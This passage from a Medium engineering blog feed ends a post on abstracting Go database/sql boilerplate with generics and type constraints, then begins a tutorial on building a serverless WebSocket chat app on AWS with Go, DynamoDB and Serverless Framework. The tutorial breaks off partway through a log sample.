<a href="https://go.dev/blog/intro-generics"><em>An Introduction to Generics</em></a><em> </em>for a well-rounded introduction.</p><h4>Enter the type parameter</h4><p>To get started with generics in user_dao.go, let’s take another look at the way FindByIDs generates placeholders for the WHERE IN clause.</p><pre>ids := []int64{1,2,3}<br><br>args := make([]any, len(ids))<br>for i, t := range ids {<br>   args[i] = t<br>}<br>placeholders := strings.Repeat(&quot;?,&quot;, len(args)-1) + &quot;?&quot;</pre><p>It converts ids to type []any, and creates a string like ?,?,?. The only variable is the <em>type</em> of ids. If the dependency on int64 is removed, we can reuse the code for any type. This is exactly what <a href="https://go.dev/tour/generics/1"><em>type parameters</em></a> are for.</p><pre>func InArgs[T any](tt []T) (string, []any) {<br>   args := make([]any, len(tt))<br>   for i, t := range tt {<br>      args[i] = t<br>   }<br>   return strings.Repeat(&quot;?,&quot;, len(args)-1) + &quot;?&quot;, args<br>}</pre><p>Type parameter T allows us to abstract <em>types</em> in a similar way that function parameters allow us to abstract <em>values</em>. InArgs now works with any slice.</p><pre>ids := []int64{1,2,3}<br>placeholders, args := InArgs(ids)<br>// &quot;?, ?, ?&quot;, []any{1,2,3}<br><br>nicknames := []string{&quot;Socks&quot;, &quot;Darius&quot;}<br>placeholders, args := InArgs(nicknames)<br>// &quot;?, ?&quot;, []any{&quot;Socks&quot;, &quot;Darius&quot;}</pre><p>ℹ️ InArgs has to be implemented as a <em>function</em>, because you can’t declare new type parameters on a <em>method</em>. A signature like below will <strong>not</strong> compile.</p><pre>func (d *DAO) InArgs[T any](tt []T) (string, []any)</pre><p>ℹ️ Generic type inference depends on the presence of arguments. In cases with no arguments, we must pass types <em>explicitly</em>.</p><pre>ids := []int64{1,2,3}<br>InArgs[int64](ids) // explicitly pass type (optional)<br>InArgs(ids)        // int64 inferred from ids argument<br><br>// Argless takes a type argument <br>// but no function arguments.<br>func Argless[T any]() T {<br> var t T<br> return t<br>}<br><br>var i int<br>i = Argless()      // compile error! cannot infer T<br>i = Argless[int]() // OK</pre><h4>Identifying type parameters</h4><p>The methods of user.DAO have two common patterns in terms of return types, i.e. the types that <a href="https://pkg.go.dev/database/sql#Row.Scan">row.Scan</a> will populate.</p><ol><li>Basic (scalar) types like int64 that are passed to Scan directly, e.g. row.Scan(&amp;value)</li><li>Struct types like User that are passed to Scan field-by-field, e.g. row.Scan(&amp;u.ID, &amp;u.Nickname, …)</li></ol><p>With the help of reflection, we could inspect types at <em>runtime</em>, and cover both patterns in a single method. With generics, however, we need to verify types explicitly at <em>compile time</em>, which requires some new techniques.</p><h3>Abstracting a function for basic types</h3><p>Here’s the code for the Count method, which returns a single int64.</p><pre>func (DAO) Count(ctx context.Context) (int64, error) {<br> row := db.DB().QueryRowContext(ctx, countQuery)<br> var count int64<br> if err := row.Scan(&amp;count); err != nil {<br>  if errors.Is(err, sql.ErrNoRows) {<br>   return 0, nil<br>  }<br>  return 0, fmt.Errorf(&quot;user.DAO#Count row.Scan error: %w&quot;, err)<br> }<br> return count, nil<br>}</pre><p>row.Scan accepts any type(s), so if we remove the dependency on int64, we can write a generic method for any scalar value. The process is almost the same as with InArgs earlier.</p><pre>func GetColumn[T any](ctx context.Context, q string, args ...any) (T, error) {<br> row := database.QueryRowContext(ctx, q, args...)<br> var t T<br> if err := row.Scan(&amp;t); err != nil {<br>  if errors.Is(err, sql.ErrNoRows) {<br>   return t, ErrNotFound<br>  }<br>  return t, fmt.Errorf(&quot;DAO#GetColumn row.Scan error: %w&quot;, err)<br> }<br> return t, nil<br>}</pre><p>Again we define a type parameter T that replaces the use of int64. We can now call GetColumn from user.DAO#Count.</p><pre>func (DAO) Count(ctx context.Context) (int64, error) {<br> return db.GetColumn[int64](ctx, countQuery)<br>}</pre><p>The result is concise and readable, even though we’re forced to pass the type argument [int64] explicitly. However, it will fail at runtime if we pass [User] or any other type not supported directly by Scan.</p><pre>cannot convert 1 (untyped int constant) to <br>  struct{ID int64; Nickname string; Bio sql.Null[string]; CreatedAt time.Time}</pre><h4>Constraining for type safety</h4><p>Luckily, Go provides <em>constraints</em> for restricting type arguments. Understanding constraints requires rethinking interfaces in Go.</p><ul><li><strong>Before generics</strong>: an interface is a <em>set of methods</em> that is implemented by one or more types</li><li><strong>After generics</strong>: an interface is a <em>set of types</em> that implement common methods (if any)</li></ul><p>These two definitions can be functionally equivalent. Many types implement the <em>set of methods</em> defined by <a href="https://pkg.go.dev/sort#Interface">sort.Interface</a>, which makes those types sortable. We can also say that sort.Interface defines the <em>set of types</em> that are sortable.</p><p>Why do we care about these semantics? Go 1.18 added a new syntax for interfaces to allow explicit enumeration of a <em>set of types</em>. It can be used to define exactly which types represent a column in the context of row.Scan.</p><pre>// Column is a constraint that defines the <br>// set of types supported by row.Scan.<br>type Column interface {<br> ~byte | ~int16 | ~int32 | ~int64 | ~float64 |<br>  ~string | ~bool | time.Time<br>}</pre><p>This constraint can be added to the signature of GetColumn as below. (Note: ~ allows treating type definitions like type ID int64 as Column types too.)</p><pre>GetColumn[T Column](ctx context.Context, q string, args ...any) (T, error)</pre><p>This ensures that passing User to GetColumn will fail at compile time instead of runtime.</p><pre>User does not implement db.Column <br>  (User missing in ~byte | ~int16 | ~int32 | ~int64 | ~float64 | <br>    ~string | ~bool | time.Time)</pre><p>We can now implement queries for basic types in one line of code, ensure compile-time type safety, <em>and</em> standardise error handling. That’s 3/3 for the problems mentioned above.</p><p>As a bonus, the Column constraint can prevent invalid types being passed to InArgs, further improving type safety.</p><pre>func InArgs[T Column](tt []T) (string, []any)<br><br>InArgs([]MyStruct{{ID: 1}}) // compile error</pre><h3>Dealing with structs</h3><p>Now that scalar types have been handled, let’s look at the second pattern: struct types. Here’s the GetByID method of user.DAO again.</p><pre>func (DAO) GetByID(ctx context.Context, id int64) (User, error) {<br> row := db.DB().QueryRowContext(ctx, getByIDQuery, id)<br> var u User<br> if err := row.Scan(u.PtrFields()...); err != nil {<br>  if errors.Is(err, sql.ErrNoRows) {<br>   return u, db.ErrNotFound<br>  }<br>  return u, fmt.Errorf(&quot;user.DAO#GetByID row.Scan error: %w&quot;, err)<br> }<br> return u, nil<br>}</pre><p>It’s essentially the same as GetColumn, except the use of PtrFields. We wrote the Column constraint to explicitly deny structs, so we need to write a new function, GetRow, with a constraint for valid structs.</p><p>ℹ️ Spoiler alert: writing a constraint for structs themselves isn’t possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7NsazZMpHdsvZRe3BA_pQg.png" /></figure><p>Though we can’t constrain types to <em>structs </em>specifically, we can constrain to a <em>set of types </em>that implement PtrFields, which is just as good for our purposes. In other words, just write an old-fashioned interface.</p><pre>type Row interface {<br> PtrFields() []any<br>}</pre><p>Now we can copy the GetColumn function, replace the Column constraint with the new Row constraint, and call PtrFields on t.</p><pre>func GetRow[T Row](ctx context.Context, q string, args ...any) (T, error) {<br> row := database.QueryRowContext(ctx, q, args...)<br> var t T<br> if err := row.Scan(t.PtrFields()...); err != nil {<br>  if errors.Is(err, sql.ErrNoRows) {<br>   return t, ErrNotFound<br>  }<br>  return t, fmt.Errorf(&quot;DAO#GetRow row.Scan error\n%s: %w&quot;, q, err)<br> }<br> return t, nil<br>}</pre><p>This allows for a concise implementation of user.DAO#GetByID.</p><pre>func (DAO) GetByID(ctx context.Context, id int64) (User, error) {<br> return db.GetRow[User](ctx, getByIDQuery, id)<br>}</pre><p>Unfortunately, it leads to a compilation error.</p><pre>User does not implement db.Row (PtrFields method has pointer receiver)</pre><p>This is because User doesn’t implement the Row interface. User and *User are considered <em>distinctly different types</em>, and only *User has a PtrFields method.</p><p>If we change the type argument and return type to [*User], the code compiles, but then panics at runtime.</p><pre>var t T<br>row.Scan(t.PtrFields()...) // &lt;--- panic! t is nil</pre><p>Obviously, PtrFields can’t be called when t is nil. We want to be able to receive and return type User, but invoke PtrFields on type *User.</p><h4>Constraining a pointer type</h4><p>Luckily, we don’t need to work out a way around this problem, because a solution is already detailed in the <a href="https://go.googlesource.com/proposal/+/refs/heads/master/design/43651-type-parameters.md#pointer-method-example"><em>Type Parameters Proposal</em></a> document.</p><p><a href="https://go.googlesource.com/proposal/+/refs/heads/master/design/43651-type-parameters.md#pointer-method-example">Type Parameters Proposal</a></p><p>The idea is actually simple — pass both User <em>and</em> *User as type arguments. Multiple type parameters like [T any, PT Row] won’t work, because we need to constrain PT to be a pointer of T specifically. It can be done by combining the ideas used for the Column and Row constraints.</p><pre>type Row[T any] interface {<br>   PtrFields() []any<br>   *T<br>}</pre><p>The new Row constraint ensures that a type:</p><ul><li>Implements a PtrFields method</li><li>Is in the <em>set of types</em> *T, a single type that is a pointer of type T</li></ul><p>In our case, if T is User, then we know *User meets the requirements of Row[User]. The new constraint can be used as below.</p><pre>GetRow[T any, PT Row[T]](ctx context.Context, q string, args ...any) (T, error)</pre><p>The updated body of GetRow looks like this.</p><pre>var t T<br>ptr := PT(&amp;t)<br>row.Scan(ptr.PtrFields()...)</pre><p>It involves wrapping a pointer of T in PT to ensure we have access to PtrFields. It’s similar to using the original Row interface as below.</p><pre>var u User<br>ptr := Row(&amp;u)<br>ptr.PtrFields()</pre><p>We can now take another look at the concise GetByID method knowing that the tests are passing successfully.</p><pre>func (DAO) GetByID(ctx context.Context, id int64) (User, error) {<br>   return db.GetRow[User](ctx, getByIDQuery, id)<br>}</pre><p>Note that PT can be inferred from T thanks to <a href="https://go.googlesource.com/proposal/+/refs/heads/master/design/43651-type-parameters.md#constraint-type-inference"><em>constraint type inference</em></a>, so it doesn’t need to be passed explicitly, though we could optionally do so as GetRow[User, *User].</p><h3>Curing the pain</h3><p>Now we’re ready to take on the 30-line FindByIDs method. All that’s needed is to replace any reference to User with a type parameter T, and constrain T in the same way as GetRow above.</p><pre>func FindRows[T any, PT Row[T]](ctx context.Context, q string, args ...any) ([]T, error) {<br> rows, err := database.QueryContext(ctx, q, args...)<br> if err != nil {<br>  if errors.Is(err, sql.ErrNoRows) {<br>   return nil, nil<br>  }<br>  return nil, fmt.Errorf(&quot;DAO#FindRows QueryContext failed: %w&quot;, err)<br> }<br> defer func() { _ = rows.Close() }()<br><br> var result []T<br> for rows.Next() {<br>  var t T<br>  ptr := PT(&amp;t)<br>  if err := rows.Scan(ptr.PtrFields()...); err != nil {<br>   return nil, fmt.Errorf(&quot;DAO#FindRows row.Scan error: %w&quot;, err)<br>  }<br>  result = append(result, t)<br> }<br> if err := rows.Err(); err != nil {<br>  return nil, fmt.Errorf(&quot;DAO#FindRows rows.Err(): %w&quot;, err)<br> }<br> return result, nil<br>}</pre><p>The code is still long and a little ugly, but calling it together with InArgs allows executing a WHERE IN query in a few lines of code.</p><pre>func (DAO) FindByIDs(ctx context.Context, ids []int64) ([]User, error) {<br> placeholders, args := db.InArgs(ids)<br> q := fmt.Sprintf(findByIDsQuery, placeholders)<br> return db.FindRows[User](ctx, q, args...)<br>}</pre><p>But is FindRows really generic? Let’s implement like.DAO#FindByUser.</p><pre>const findByUserQuery = &quot;SELECT &quot; + Columns + <br>  &quot; FROM &quot; + Table + <br>  &quot; WHERE `user_id` = ?&quot; + <br>  &quot; ORDER BY `id`;&quot;<br><br>func (DAO) FindByUser(ctx context.Context, userID int64) ([]Like, error) {<br> return db.FindRows[Like](ctx, findByUserQuery, userID)<br>}</pre><p>FindRows can be called in the same way for User, Like, and any other type that implements a PtrFields method.</p><p>For a complete diff of everything implemented in this post versus the standard database/sql implementation, check out <a href="https://github.com/Jimeux/go-generic-dao/pull/1/files">this pull request</a>.</p><h3>Summary</h3><p>Here’s a review of what’s been achieved in terms of the original three problems.</p><ol><li><strong>Code duplication</strong> —basic queries can now be written in a single line by calling GetRow and FindRows (or the Column equivalents)</li><li><strong>Lack of type safety </strong>—types are constrained by the Row and Columns constraints, making runtime errors far less common</li><li><strong>Inconsistent error handling</strong> —handling of sql.ErrNoRows is fixed within GetRow and FindRows to a pre-defined pattern</li></ol><p>Of course, the raw SQL queries aren’t type-safe, and the production-readiness of the generic functions remains to be tested, but hopefully this post gave you some insight and ideas on how to go about abstracting code in your own projects.</p><h3>References</h3><ul><li><a href="https://go.dev/blog/intro-generics">An Introduction to Generics</a></li><li><a href="https://go.googlesource.com/proposal/+/refs/heads/master/design/43651-type-parameters.md">Type Parameters Proposal</a></li></ul><p><a href="https://www.freepik.com/free-photo/network-connections-technology-background_4588133.htm#query=data&amp;position=39&amp;from_view=search&amp;track=sph"><em>Cover image background by kjpargeter</em></a><em> on Freepik, and space gopher from </em><a href="https://github.com/ashleymcnamara/gophers"><em>ashleymcnamara/gophers</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1471d969beed" width="1" height="1" alt=""><hr><p><a href="https://medium.com/eureka-engineering/abstracting-database-sql-boilerplate-with-go-generics-1471d969beed">Abstracting database/sql boilerplate with Go generics</a> was originally published in <a href="https://medium.com/eureka-engineering">Pairs Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a real-time serverless chat application on AWS with Go and Vue 3: Part 1]]></title>
            <link>https://medium.com/eureka-engineering/building-a-real-time-serverless-chat-application-on-aws-with-go-and-vue-3-part-1-3ceeb195bd2d?source=rss-5515517abe5------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ceeb195bd2d</guid>
            <category><![CDATA[go]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[serverless]]></category>
            <category><![CDATA[websocket]]></category>
            <dc:creator><![CDATA[James Kirk]]></dc:creator>
            <pubDate>Thu, 23 Dec 2021 02:42:53 GMT</pubDate>
            <atom:updated>2021-12-23T02:42:53.219Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>This is the 23rd December entry of the <a href="https://qiita.com/advent-calendar/2021/eureka">Eureka Advent Calendar 2021</a> 🎅🏻</p><p>Yesterday <a href="https://medium.com/u/54771bbfa1d3">Ren Kanai</a> wrote about <a href="https://medium.com/eureka-engineering/pairs%E3%81%AE%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%82%92%E6%94%AF%E3%81%88%E3%82%8Bbackend%E5%91%A8%E3%82%8A%E3%81%AE%E3%81%AF%E3%81%AA%E3%81%97-f39ff997e9e6">delivering Pairs’ real-time community chat feature with the help of AppSync</a>. Today I’ll continue the real-time-on-AWS theme by exploring how to create a simple chat application using an API Gateway <a href="https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api.html">WebSocket API</a>.</p><p>This article assumes little to no experience with Serverless Framework. All code can be found in the <a href="https://github.com/Jimeux/sls-chat-app">GitHub repository</a>.</p><h3>Application Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pgGJwhuATST_Nb1ptU8Kbw.png" /><figcaption>Serverless chat application architecture</figcaption></figure><p>The application has both a frontend and backend that are completely serverless. <a href="https://cli.vuejs.org/">Vue CLI</a>, <a href="https://www.serverless.com/">Serverless Framework</a>, and a little <a href="https://aws.amazon.com/jp/cloudformation/">CloudFormation</a> make generating, deploying, and finally destroying our application a breeze.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d49dpN1UyXs2wmTE8II0kw.png" /></figure><p><strong>The frontend</strong> is a minimal Vue SPA. Basic CSS is used for the highly-original design. The static assets are saved to S3 and served by CloudFront. We won’t be able to use <a href="https://nuxtjs.org/docs/concepts/server-side-rendering/">SSR</a>, but do get simple, fast, and cheap hosting without needing to maintain a server.</p><p><strong>The backend</strong> is a group of Go Lambda functions implementing the WebSocket API spec behind an API Gateway instance. DynamoDB is used as a datastore.</p><h3>Prerequisites</h3><h4>Node.js</h4><p>The application has been tested with Node v16.13.1 and NPM v8.1.2. Head to the official <a href="https://nodejs.org/en/download/">downloads page</a> or try a version manager like <a href="https://github.com/nvm-sh/nvm">nvm</a> to download. <a href="https://www.serverless.com/framework/docs/getting-started">Serverless Framework</a> can then be installed via NPM.</p><pre>npm install -g serverless</pre><h4>Go</h4><p>The Lambda functions have been tested with Go v1.17.5. The official <a href="https://go.dev/dl/">downloads page</a> explains how to get started. <a href="https://go.dev/ref/mod">Go Modules</a> automate everything else for us.</p><h3>Top-level Package Structure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*_o3a1vhUa2LLCdhounKlXw.png" /><figcaption>Top-level package structure</figcaption></figure><p>The top-level package structure will be split by specialty:</p><ul><li>client — The frontend</li><li>infra —<a href="https://en.wikipedia.org/wiki/Infrastructure_as_code">IaC</a> templates</li><li>sls — Backend services</li></ul><p>go.mod is placed at the root of the sls directory for simplicity. For a discussion about go.mod in monorepos, see <a href="https://medium.com/compass-true-north/catching-up-with-the-world-go-modules-in-a-monorepo-c3d1393d6024"><em>Catching Up with the World — Go Modules in a Monorepo</em></a>.</p><p>Each backend service is confined to its own svc- directory, with common code (sparingly) extracted to lib. It’s generally better to copy small amounts of code to avoid coupling between services, as suggested in the <a href="https://go-proverbs.github.io/">Go Proverbs</a>.</p><p>Each service has two main directories that are kept as flat as possible:</p><ul><li>handlers — Lambda handler functions and tests</li><li>internal — Go code needed to implement the handlers in this service</li></ul><h3>Service Architecture</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dPrDcJji-psZ9tNyD4KSdw.png" /><figcaption>Serverless service architecture</figcaption></figure><p>Packages are kept as flat as possible for simplicity, but effort is made to separate concerns and maintain testability.</p><p>The <em>Service</em> abstraction here helps us achieve the following two recommendations from the <a href="https://docs.aws.amazon.com/lambda/latest/dg/best-practices.html#function-code">Best practices</a> section of the Developer Guide:</p><ul><li>Separate the Lambda handler from your core logic</li><li>Take advantage of execution environment reuse to improve the performance of your function</li></ul><p>Each <em>Handler </em>constructs a <em>Service</em> and delegates to its methods, where the core logic is executed. The reference is maintained until the execution environment is terminated to avoid per-request allocations. The <em>Service </em>delegates to the <em>Repository</em> and <em>API Client</em> to access external resources like DynamoDB and the API Gateway Management API.</p><p>For more on structuring multiple Lambda functions, see <a href="https://www.serverless.com/blog/serverless-architecture-code-patterns/"><em>Serverless Code Patterns</em></a> on the Serverless Framework blog.</p><h3>API Gateway WebSocket API Specification</h3><p>Whereas SaaS like <a href="https://pusher.com/channels">Pusher Channels</a> abstract everything away to a few SDK method calls for both client and server, API Gateway provides lower-level tools for managing WebSocket connections.</p><p>Though active connections themselves are handled by API Gateway, the low-level nature of WebSocket APIs means we have to solve problems like how to deal with large numbers of connected users efficiently by ourselves. On the other hand, we gain the ability to customise authentication, logging, monitoring, and other aspects of our implementation.</p><p>API Gateway directs incoming JSON messages to routes that are connected to integrations (usually Lambda functions). The three predefined routes are:</p><ul><li>$connect—Called when a connection is initiated</li><li>$disconnect—Called when a connection is terminated</li><li>$default—Called when no route expression is provided or as a fallback</li></ul><p>Custom routes can also be defined based on a <a href="https://docs.aws.amazon.com/apigateway/latest/developerguide/websocket-api-develop-routes.html#apigateway-websocket-api-route-selection-expressions">route selection expression</a>. For example, an expression of $request.body.action will look for an action property in the request body, and route to an integration with a route that matches the given value. In addition, a <a href="https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-route-response.html">route response</a> can be used to allow a Lambda function to return responses directly via the WebSocket connection.</p><p>A simplified sequence of the connection lifecycle could be as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y_RgpZIEFg3Z2dVySu0ogA.png" /><figcaption>Example connection lifecycle sequence</figcaption></figure><p>API Gateway provides the endpoint to the user, and routes requests as explained above. The integrated Lambda functions may make use of a datastore like DynamoDB to store references to active connections. The API Gateway Management API is used to send messages to any connection, though <a href="https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-route-response.html">route responses</a> can be used to return messages directly to the current requesting user.</p><h3>A Note about the AWS SDK for Go</h3><p>We’ll be using the <a href="https://github.com/aws/aws-sdk-go-v2">AWS SDK for Go v2</a> for the backend, and interface types commonly used for mocks in testing were removed in v0.25.0. The <a href="https://aws.github.io/aws-sdk-go-v2/docs/unit-testing/">Unit Testing</a> section of the Developer Guide recommends a common, though verbose, mocking pattern as described in <a href="https://medium.com/safetycultureengineering/flexible-mocking-for-testing-in-go-f952869e34f5"><em>Flexible mocking for testing in Go</em></a><em>. </em>This isn’t necessarily a popular decision as can be seen in the open discussion on the topic.</p><p><a href="https://github.com/aws/aws-sdk-go-v2/discussions/1536">Direct mocking of clients in v0.25.0? · Discussion #1536 · aws/aws-sdk-go-v2</a></p><p>The <a href="https://github.com/Jimeux/sls-chat-app/tree/main/sls/lib/awsiface">lib/awsiface</a> package in the <a href="https://github.com/Jimeux/sls-chat-app">GitHub repository</a> provides reusable mocks implemented in a similar way that cover all the necessary methods.</p><h3>The Connection Datastore</h3><p>API Gateway WebSocket APIs requires us to store and manage references to connections ourselves if we want to implement interactions between different connections.</p><p>DynamoDB requires just a few lines of CloudFormation to get started with in a serverless environment, and costs next to nothing to run for a sample application like this. We have two required access patterns:</p><ul><li><strong>Get a connection by ID </strong>— Uses the partition key, which is a high-cardinality attribute (connection ID), as recommended in <a href="https://aws.amazon.com/blogs/database/choosing-the-right-dynamodb-partition-key/"><em>Choosing the Right DynamoDB Partition Key</em></a>. <a href="https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_GetItem.html">GetItem</a> can be used here for maximum efficiency.</li><li><strong>Get the list of online users</strong> —Returns the entire table, so doesn’t use any key. The table will be small enough to use <a href="https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Scan.html">Scan</a> without worrying. In a real application, we’d likely partition data by a channel or other concept and use <a href="https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Query.html">Query</a> instead.</li></ul><p>DynamoDB can be a minefield of <a href="https://aws.amazon.com/premiumsupport/knowledge-center/dynamodb-table-throttled/">hot partitions</a> and impossible-to-implement-after the fact queries. It’s essential to know all access patterns beforehand and verify their performance before deciding on DynamoDB. The <a href="https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/best-practices.html">best practices section</a> of the Developer Guide is a good place for more information.</p><p><a href="https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/best-practices.html">Best Practices for Designing and Architecting with DynamoDB</a></p><p>When implementing a repository with the DynamoDB SDK for Go, things can get quite verbose and hard to remember. The <a href="https://dynobase.dev/dynamodb-golang-query-examples/"><em>Complete Cheat Sheet</em></a><em> </em>over at Dynobase is highly recommended.</p><h3>Implementing the Service Architecture</h3><p>Next, we’ll see how the service architecture described above is implemented for the $connect handler. Refer to the <a href="https://github.com/Jimeux/sls-chat-app">GitHub repository</a> for the full code.</p><p>First, ConnectionRepository is a fairly standard use of the DynamoDB SDK, and performs CRUD on the connections table. The <a href="https://pkg.go.dev/github.com/aws/aws-sdk-go-v2/feature/dynamodb/attributevalue">attributevalue</a> package is used for marshalling/unmarshalling structs, and the dependency on awsiface.DynamoDB and the extra New function will make testing easier.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c5376f1cd14ccf3a4baf1fa8678e9d30/href">https://medium.com/media/c5376f1cd14ccf3a4baf1fa8678e9d30/href</a></iframe><p>APIClient is a minimal wrapper around <a href="https://pkg.go.dev/github.com/aws/aws-sdk-go-v2/service/apigatewaymanagementapi#Client">apigatewaymanagementapi#Client</a> to make creating and using the type a little easier. We’ll use this type in Part 2 when implementing the $default route.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/63d4924733f8cf83cdba8f821065e327/href">https://medium.com/media/63d4924733f8cf83cdba8f821065e327/href</a></iframe><p>WebSocketService depends on ConnectionRepository and APIClient, and implements the core logic of the service, and prepares responses for the handler.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b2a0849f8fb8451986aa4b10212a02c8/href">https://medium.com/media/b2a0849f8fb8451986aa4b10212a02c8/href</a></iframe><p>Finally, the $connect route handler is found in <a href="https://github.com/Jimeux/sls-chat-app/tree/main/sls/svc-ws/handlers/connect">svc-ws/handlers/connect</a>. The main function — called once when the handler is initialised — itself initialises logger and svc package-level vars that will live until termination. The handler function is called per request, and other than for logging it simply delegates to svc.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/101add182554b478cd54b53740d63e97/href">https://medium.com/media/101add182554b478cd54b53740d63e97/href</a></iframe><p>We can build the code with the below command.</p><pre>env GOARCH=amd64 GOOS=linux go build -ldflags=&quot;-s -w&quot; -o bin/connect handlers/connect/connect.go</pre><h3>Note on Logging</h3><p><a href="https://github.com/uber-go/zap">zap</a> is used for structured logging, and a simple wrapper is defined in <a href="https://github.com/Jimeux/sls-chat-app/blob/main/sls/svc-ws/internal/logger.go">logger.go</a> that keeps the handler code clean.</p><p><a href="https://github.com/uber-go/zap">GitHub - uber-go/zap: Blazing fast, structured, leveled logging in Go.</a></p><p>To embed a request and connection ID in every log, as well as flush logs after each request, a simple middleware-style pattern is used. The handler function is wrapped in the below function before being passed to lambda.Start.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/141fca87636a47105e8bcf14505d12df/href">https://medium.com/media/141fca87636a47105e8bcf14505d12df/href</a></iframe><p>For help on using context.WithValue, check out the <a href="https://go.dev/blog/context">original blog post</a>.</p><h3>Testing the $connect Handler</h3><p>Before deploying, we’ll add a sanity test for the handler. This is relatively straightforward thanks to depending on the interfaces in the awsiface package and getting our handler to perform <a href="https://en.wikipedia.org/wiki/Dependency_injection#:~:text=In%20software%20engineering%2C%20dependency%20injection,it%20depends%20on%2C%20called%20dependencies.&amp;text=The%20intent%20behind%20dependency%20injection,increase%20readability%20and%20code%20reuse.">DI</a> in its main function.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f3cbbd2a5db8827438751438a0f71288/href">https://medium.com/media/f3cbbd2a5db8827438751438a0f71288/href</a></iframe><p>Mocking methods like this does get incredibly verbose though, especially when using the signatures from the SDK. Time may be better spent developing full E2E tests or a <a href="https://aws.github.io/aws-sdk-go-v2/docs/middleware/">middleware</a>-based approach. The tests can be run with the below command.</p><pre>go test ./handlers/...</pre><h3>Deploying the $connect Handler</h3><p>Now that the code is built and tested, we need to make the below changes to serverless.yml to get it ready for deployment to AWS. (See the comments for details.)</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/30d7554de096ea330e74b35b2a99b4f9/href">https://medium.com/media/30d7554de096ea330e74b35b2a99b4f9/href</a></iframe><p>These 75 lines of YAML have achieved more than we may realise. By running sls package and inspecting the generated .serverless directory, we can verify the raw CloudFormation templates.</p><p>cloudformation-template-create-stack.json contains resources for the deployment itself. Serverless Framework maintains an S3 bucket with a deployment history for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CbgN_cKByvbzGA3fmfG4gw.png" /></figure><p>cloudformation-template-update-stack.json is where the magic of our API Gateway WebSockets API is happening. All of the necessary resources and integrations are mapped out in JSON automatically for us, saving us having to write and test hundreds of lines of CloudFormation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8c0deGzyzastg7Cb2FPg8w.png" /></figure><p>We’re finally ready to deploy, and we’ll do so by adding some new commands to our Makefile.</p><pre><strong>clean</strong>:<br>   rm -rf ./bin</pre><pre><strong>build</strong>:<br>   env GOARCH=amd64 GOOS=linux go build -ldflags=&quot;-s -w&quot; -o bin/connect handlers/connect/connect.go</pre><pre><strong>test</strong>:<br>   go test ./handlers/...</pre><pre><strong>deploy</strong>: <strong>clean</strong> <strong>build</strong> <strong>test</strong><br>   sls deploy --verbose</pre><p>Running make deploy should build, test and deploy the code, leading to a large amount of output in the terminal.</p><p>If we head over to the <a href="https://console.aws.amazon.com/cloudformation/home">CloudFormation Dashboard</a> on the AWS console, we should see a stack named sls-svc-ws-dev. The Resources tab provides a convenient set of links for accessing resources on the console, all of which you’ll recognise from cloudformation-template-update-stack.json. The Events tab can also be useful for debugging when an sls deploy fails.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTQcS5Vaam0s8UVNV5AjvQ.png" /></figure><p>From either the terminal output from make deploy or the Resources tab shown above, find the value of ServiceEndpointWebsocket, which should look something like below.</p><pre>wss://id.execute-api.region.amazonaws.com/dev</pre><p>A simple way to verify the endpoint locally is with <a href="https://github.com/websockets/wscat">wscat</a> as follows. If you see a connected prompt, then everything is running correctly. Alternatively, you can use JavaScript to create a WebSocket as described in the <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket">MDN document</a>.</p><pre>npm install -g wscat <br>wscat -c &quot;wss://id.execute-api.region.amazonaws.com/dev&quot;</pre><p>Since no $default route is defined yet, sending a message within the wscat prompt should return a default error message.</p><pre>{&quot;message&quot;: &quot;Forbidden&quot;, &quot;connectionId&quot;:&quot;KwH-UcApNjMCLwQ=&quot;, &quot;requestId&quot;:&quot;KwINPHWmNjMFyww=&quot;}</pre><p>Finally, we can run sls logs -f connect to verify Lambda execution and the zap info logs. We can see requestId and connectionId have been properly set by the middleware function.</p><pre>START RequestId: 11811c92-db49-4aa6-907b-88eb42b4bae9 Version: 